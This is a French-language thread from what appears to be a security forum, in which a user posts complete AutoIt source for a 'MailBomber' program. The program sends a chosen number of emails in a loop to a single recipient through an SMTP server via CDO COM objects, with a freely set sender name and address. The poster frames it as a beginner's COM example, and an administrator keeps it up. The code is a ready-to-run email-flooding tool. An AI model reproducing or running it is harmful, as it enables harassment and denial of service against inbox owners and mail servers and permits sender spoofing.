#1 08-06-2010 21:04:06

ptifou78
Banni
Date d'inscription: 26-05-2010
Messages: 56

Mailbomber objet COM

Voici un mailbomber utilisant les objets COM wink

Code:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_outfile=Mailbomber.exe
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_UseX64=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****


;Script écrit par Narmeke et transformé en Mailbomber par Ptifou78 ;)

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <ProgressConstants.au3>
#include <WindowsConstants.au3>
#Include <inet.au3>
#include <file.au3>
$i=1


$Form1_1 = GUICreate("MailBomber", 230, 443, 192, 124)
$SMTP = GUICtrlCreateInput("Serveur SMTP", 40, 16, 153, 21)
$desti = GUICtrlCreateInput("Nom de l'expéditeur", 40, 48, 153, 21)
$Adressed = GUICtrlCreateInput("Email de l'expéditeur", 40, 80, 153, 21)
$Texte = GUICtrlCreateEdit("", 40, 176, 153, 169)
GUICtrlSetData(-1, "Texte")
$MyButton1 = GUICtrlCreateButton("Go", 52, 384, 124, 30, $BS_FLAT)
$adresser = GUICtrlCreateInput("Email du destinataire", 40, 112, 153, 21)
$sujetmess = GUICtrlCreateInput("Sujet du message", 40, 144, 153, 21)
$nombre_mail = GUICtrlCreateInput("Nombre d'email à envoyer", 40, 352, 145, 21)
GUISetState(@SW_SHOW)



While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        case $MyButton1
            $s_SmtpServer = GUICtrlRead($SMTP)
            $s_FromName = GUICtrlRead($desti)
            $s_FromAddress = GUICtrlRead($Adressed)
            $s_ToAddress = GUICtrlRead($adresser)
            $s_Subject = GUICtrlRead($sujetmess)
            $as_Body = GUICtrlRead($Texte)
            $s_AttachFiles = ""       ; the file you want to attach- leave blank if not needed
            $s_CcAddress = ""        ; address for cc - leave blank if not needed
            $s_BccAddress = ""       ; address for bcc - leave blank if not needed
            $s_Username = ""         ; username for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
            $s_Password = ""          ; password for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
            $IPPort = 25                 ; port used for sending the mail
            $ssl = 0


            Global $oMyRet[2]
            Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

            While $i <= GUICtrlRead($nombre_mail)
            $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
            $i = $i + 1
            If @error Then
            MsgBox(0, "Error sending message", "Error code:" & @error & "  Rc:" & $rc)
            EndIf
            WEnd
            MsgBox( 0, "MailBomber", "Vous avez envoyé "&$i&" Mails à "&$s_ToAddress)


        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd


;---------------------
;  Fonctions pour
;   L'envoie de mail
;---------------------
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authentification au serveur SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $Ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Mis a jour
    $objEmail.Configuration.Fields.Update
; Envoi du message
    $objEmail.Send
    if @error then
        SetError(2)
        return $oMyRet[1]
    EndIf
EndFunc ;==>_INetSmtpMailCom
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description,3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1)
    Return
EndFunc ;==>MyErrFunc
;---------------------
;  Fin Fonctions pour
;   L'envoie de mail
;---------------------

En version pastebin avec la colorisation de la syntaxe

http://pastebin.com/EmYXPKWg

PS: si ce code dérange un admin libre a lui de le supprimé mais j'ai postai cette source car je la trouve intéressante pour les débutants qui souhaitent trouvé un exemple de l'utilisation des objets COM smile


L'échec n'est qu'une étape vers la victoire smile

http://img404.imageshack.us/img404/2788/bouteilledelait.jpg
forum de sécurité informatique

Hors ligne

 

#2 09-06-2010 09:56:19

Thibow
Administrateur
Lieu: Nord
Date d'inscription: 17-12-2007
Messages: 633
Site web

Re: Mailbomber objet COM

C'est vrai, c'est un mail bomber certe, mais c'est avant tout une bonne source.
On garde ! smile

Hors ligne

 

#3 09-06-2010 09:59:42

ptifou78
Banni
Date d'inscription: 26-05-2010
Messages: 56

Re: Mailbomber objet COM

Par contre si tu veux je peut enlevé la fonction mailbomber pour que ça devienne juste un simple envoyeur de mail?


L'échec n'est qu'une étape vers la victoire smile

http://img404.imageshack.us/img404/2788/bouteilledelait.jpg
forum de sécurité informatique

Hors ligne

 

#4 09-06-2010 10:54:25

Thibow
Administrateur
Lieu: Nord
Date d'inscription: 17-12-2007
Messages: 633
Site web

Re: Mailbomber objet COM

Peu importe, le plus important c'est pas la fonction de mailbombing, mais plus le principe et la syntaxe du code smile

Hors ligne

 

Pied de page des forums

Propulsé par PunBB
© Copyright 2002–2005 Rickard Andersson
Traduction par punbb.fr